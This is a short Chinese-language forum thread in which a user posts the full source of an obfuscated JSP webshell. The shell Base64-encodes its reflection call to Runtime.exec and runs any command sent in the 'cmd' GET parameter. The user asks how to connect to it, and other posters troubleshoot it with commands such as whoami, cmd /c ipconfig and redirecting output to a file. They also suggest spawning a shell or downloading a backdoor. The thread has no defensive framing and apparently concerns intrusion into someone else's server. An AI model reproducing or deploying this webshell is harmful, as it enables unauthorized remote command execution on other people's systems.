这个jsp马用什么工具连啊？

<%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ page import="sun.misc.BASE64Decoder" %> <% if(request.getParameter("cmd")!=null){ BASE64Decoder decoder = new BASE64Decoder(); Class rt = Class.forName(new String(decoder.decodeBuffer("amF2YS5sYW5nLlJ1bnRpbWU="))); Process e = (Process) rt.getMethod(new String(decoder.decodeBuffer("ZXhlYw==")), String.class).invoke(rt.getMethod(new String(decoder.decodeBuffer("Z2V0UnVudGltZQ=="))).invoke(null, new Object[]{}), request.getParameter("cmd") ); java.io.InputStream in = e.getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>

蚁剑返回空数据

domain.com/path/to/webshell?cmd=ipconfig

不能用工具连吗？ cmd我dir没回显 上传不了远控

执行命令弹个shell出来或者直接远程下载后门不行么

get传参的 .jsp?cmd=whoami

不行，能行就不问了。

dir没回显 linux环境么 判断一下是不是linux

webshell.jsp?cmd=cmd /c ipconfig

request.getParameter("cmd")!=null；get传参的

试一试 whoami >2.txt   然后网址访问